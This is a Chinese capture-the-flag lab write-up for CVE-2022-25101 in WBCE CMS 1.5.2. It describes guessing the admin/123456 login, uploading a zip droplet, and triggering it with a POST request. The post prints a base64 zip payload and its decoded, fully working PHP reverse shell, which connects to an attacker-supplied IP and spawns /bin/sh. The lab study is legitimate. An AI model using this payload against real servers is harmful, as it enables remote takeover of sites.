首页 > 其他分享 >春秋云镜CVE-2022-25101

春秋云镜CVE-2022-25101

时间:2023-01-22 15:33:15浏览次数:63  
标签:shell printit pipes sock 云镜 input CVE 25101 t18bknev

一.信息收集及漏洞利用

打开靶场,显示界面如下

 

 

 尝试访问靶场描述的路径,返回404,于是开始路径爆破,返回如下

 发现有跳转登录页面,访问/admin/start/index.php,出现登录页面,需要用户名和密码,简单猜测一下admin/123456,发现对了,进入系统

 在add-ons中发现CVE中描述的templates,点击后发现有能够上传文件的入口,测试发现只允许上传zip后缀的文件

 测试上传了几个zip文件未果后,信息收集发现有exp:春秋云镜【CVE-2022-25101】WBCE CMS 1.5.2 RCE - 知乎 (zhihu.com)

使用该exp进行反弹shell

 

 服务器开启监听,返回shell,得到flag

 

 虽然上面虽然就两步,但仍然有很多坑。

1.服务器记得开启对应的监听端口,要不然无法返回shell,我使用阿里云ubuntu20.04,可以使用命令 ufw allow 2333,或者登录阿里云平台开启。

2.记得在使用exp脚本,开启监听后按enter

二.exp脚本分析

先看payload:

PAYLOAD = 'UEsDBBQAAAAIAI1+n1Peb3ztBAMAAFUHAAAMAAAAdDE4YmtuZXYucGhwhVVtT9swEP6OxH8wUaQmUqAJ24epUSYh6CY0CbQC2weGIje5UKuJndkOhSH++85OQqqqtBIizr08eZ6783U8nujoy3zJ4enwAF8ODxToVLMK0pJVTHuhH7u/prOby+urxIlOQid2WZ246Wz68256c3vvSHhKWe08xG4tpN70GJvxZYuGL1PF/kESfQ7D2F1JpiGlCW/KMnZBSiHf39QCyjIZNZxWQI5pTFYxYXlMxnPGx2pBjtkodnMKleBJiCeYN494YIVXNDzTTPAUnpnSyhvVGddlWgi5HPn+q1uzPBlMnm9yrDE5jvzXWjKuUbMznc2uZxNyTvlIExPp+DE8oyfy47cuxX+1lrC11EKx51SBViz3/E04o66H62PWIXsxUfwGpQIypP4+m11dXn2fkG+UlZATLUgbyxScEHK7YIrg39+GaSCZqNBDKM8JF0icalqeOIifLXImPWeM56aiamm7qkS2TArzX9TAPWxrYFsYmG5wYR9Ky+BTaMt0ZBPWVHV+4rXxG4JAZZLVWkhVQ5ZQKemLFyZf24NTsxqcwJGOH0SbxhUaT7cYkXItRQZKJeaZWtbtrAQb3wtck6Za3kylEpRoZAZej+B/1GxV0xUnFnRdD+oEWpn+pvMSy8D4o9d+4z58CLBAOwKifQGnHwbYkhvnO9mbJjP8C7wnL8RUAHKC9wykgpa1mRBs5cS2EiWsFqwE1PBqbgeIosXcov/GZmeCc7BXiGiQFeNUQ44wcyS3jN86kEHah0BdobeiuPjIU9pORSdyKNZ7VbDhvKnSbEH5I+SpCQOtkvdClUjU67CCfqEE/S4JzC6xE8B4uv6lLsO3JWmXhz/U9/r8B5lNzy6Qrct43eikMPF97rDHEHp7+oS0iYhQWFJrk9J6cKDWaQ3Sd1O7vbi+u91GbkDYT9CCbKFo5O2kd7qfHg7ALnqnu+kNIHvpvRVZKVRnxiD7NpR50xJtWuxw2SVircNaiPsfENJTcpXG06OVfNTt6W7mnc73hztI6fBAgm4kJ2H8H1BLAQI/ABQAAAAIAI1+n1Peb3ztBAMAAFUHAAAMACQAAAAAAAAAIAAAAAAAAAB0MThia25ldi5waHAKACAAAAAAAAEAGACAuZAFVv7XAYC5kAVW/tcB6Bk8KTf+1wFQSwUGAAAAAAEAAQBeAAAALgMAAAAA'

根据特征知道是base64,也可以根据脚本中导入的包知道是base64。解码发现是zip文件

 

 使用url地址栏可以解析base64,生成zip文件,如下:

 

 得到压缩包,打开只有一个t18bknev.php文件,内容如下:

//:t18bknev
//:
set_time_limit(0);$VERSION="1.0";$ip=$_REQUEST["rev_ip"];$port=$_REQUEST["rev_port"];$chunk_size=1400;$write_a=null;$error_a=null;$shell='uname -a; w; id; /bin/sh -i';$daemon=0;$debug=0;if(function_exists('pcntl_fork')){$pid=pcntl_fork();if($pid==-1){printit("ERROR: Can't fork");exit(1);}if($pid){exit(0);}if(posix_setsid()==-1){printit("Error: Can't setsid()");exit(1);}$daemon=1;}else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");}chdir("/");umask(0);$sock=fsockopen($ip,$port,$errno,$errstr,30);if(!$sock){printit("$errstr ($errno)");exit(1);}$descriptorspec=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));$process=proc_open($shell,$descriptorspec,$pipes);if(!is_resource($process)){printit("ERROR: Can't spawn shell");exit(1);}stream_set_blocking($pipes[0],0);stream_set_blocking($pipes[1],0);stream_set_blocking($pipes[2],0);stream_set_blocking($sock,0);printit("Successfully opened reverse shell to $ip:$port");while(1){if(feof($sock)){printit("ERROR: Shell connection terminated");break;}if(feof($pipes[1])){printit("ERROR: Shell process terminated");break;}$read_a=array($sock,$pipes[1],$pipes[2]);$num_changed_sockets=stream_select($read_a,$write_a,$error_a,null);if(in_array($sock,$read_a)){if($debug)printit("SOCK READ");$input=fread($sock,$chunk_size);if($debug)printit("SOCK: $input");fwrite($pipes[0],$input);}if(in_array($pipes[1],$read_a)){if($debug)printit("STDOUT READ");$input=fread($pipes[1],$chunk_size);if($debug)printit("STDOUT: $input");fwrite($sock,$input);}if(in_array($pipes[2],$read_a)){if($debug)printit("STDERR READ");$input=fread($pipes[2],$chunk_size);if($debug)printit("STDERR: $input");fwrite($sock,$input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);function printit($string){if(!$daemon){print"$string\n";}}
return 0;

上面文件主要用于实现反弹shell

分析exp脚本发现,在脚本中使用到路径根本没有CVE描述中/templates/install.php,而是/admin/admintools/tool.php中实现上传zip文件

 

 所以这到底怎么回事?CVE收录时描述错误?

exp脚本执行过程如下:

先在Droplets页面中点击Add Droplet,把前面的payload也就是压缩包命名为t18bknev.zip后上传

 

 然后在pages页面中,添加一个page,title命名为t18bknev

 

 然后添加内容为:[[t18bknev]],保存后返回

 

 点击view查看页面

 

 使用hackerbar发送个post包,body为rev_ip=xx.xx.xx.x&rev_port=2333。注意,在发送此post请求包前,先要在服务器开启监听。发送成功post包后,在服务器中可以看到反弹shell,至此整个脚本结束。

 

 那原理是什么呢?添加的t18bknev页面中的内容:[[t18bknev]]代表什么含义?或者就没什么意义,有意义的是创建页面时设置的title=t18bknev刚好和上传压缩包里面的文件名相同?这些问题留之后有空再来看吧,其实只要控制变量多测试几次应该就明白有意义的 是什么了。

 

标签:shell,printit,pipes,sock,云镜,input,CVE,25101,t18bknev
From: https://www.cnblogs.com/nLesxw/p/cve3.html

相关文章

  • 春秋云镜靶场CVE-2022-26613
    信息收集:  过程:在信息收集过程中发现是存在poc和exp的,所以复现难度不是很大,不过在后面寻找flag时,遇到一些麻烦,从中又通过搜索引擎学到了sqlmap的两条命令参数。因......
  • 春秋云镜靶场CVE-2022-32992
    概述:打靶过程记录,虽然也觉得没啥好写,但又想到自己做这题在信息收集废了不少功夫,于是记录一下做题过程,以便从其中有所感悟过程:打开靶机,发现登录是需要邮箱账号和密码的,先......
  • Windows Server 2008或2012 修复CVE-2016-2183(SSL/TLS)漏洞的方法
    一、漏洞说明Windowsserver2008或2012远程桌面服务SSL加密默认是开启的,且有默认的CA证书。由于SSL/TLS自身存在漏洞缺陷,当开启远程桌面服务,使用漏洞扫描工具扫描,发现存在......
  • CVE-2022-26134 Confluence OGNL RCE 复现
    一、漏洞概述     AtlassianConfluence是一款各企业广泛使用的wiki系统。在AtlassianConfluenceServerandDataCenter上存在OGNL注入漏洞,远程攻击者在......
  • Docker官网安装卸载教程,使用阿里云镜像仓库yum安装
    Docker官网安装教程搜索docker选择Developers-doces选择down选择forlinux选择对应的版本,我的虚拟机是centos然后跟着它一步走,安装之前先卸载docker#一,卸载旧的版本......
  • CVE-2022-46463复现文章
    本文来自博客YX'BLOGhttp://535yx.cnHarbor是为企业用户设计的容器镜像仓库开源项目,包括了权限管理(RBAC)、LDAP、审计、安全漏洞扫描、镜像验真、管理界面、自我注册......
  • S2-037 CVE-2016-4438 远程代码执行
    漏洞名称S2-037CVE-2016-4438远程代码执行利用条件Struts2.3.20-StrutsStruts2.3.28.1使用了REST插件漏洞原理ApacheStruts2在使用REST插件的情况下,攻击者使......
  • S2-061 CVE-2020-17530 远程代码执行
    漏洞名称S2-061CVE-2020-17530远程代码执行利用条件Struts2.0.0-Struts2.5.25漏洞原理s2-061漏洞产生的原因是Struts2会对某些标签属性(比如id,其他属性有待寻......
  • S2-059 CVE-2019-0230 远程代码执行
    漏洞名称S2-059CVE-2019-0230远程代码执行利用条件Struts2.0.0-Struts2.5.20漏洞原理漏洞产生的主要原因是因为ApacheStruts框架在强制执行时,会对分配给某些标......
  • CVE-2020-2551
    前言2020年1月15日,Oracle发布了一系列的安全补丁,其中OracleWebLogicServer产品有高危漏洞,漏洞编号CVE-2020-2551,CVSS评分9.8分,漏洞利用难度低,可基于IIOP协议执行......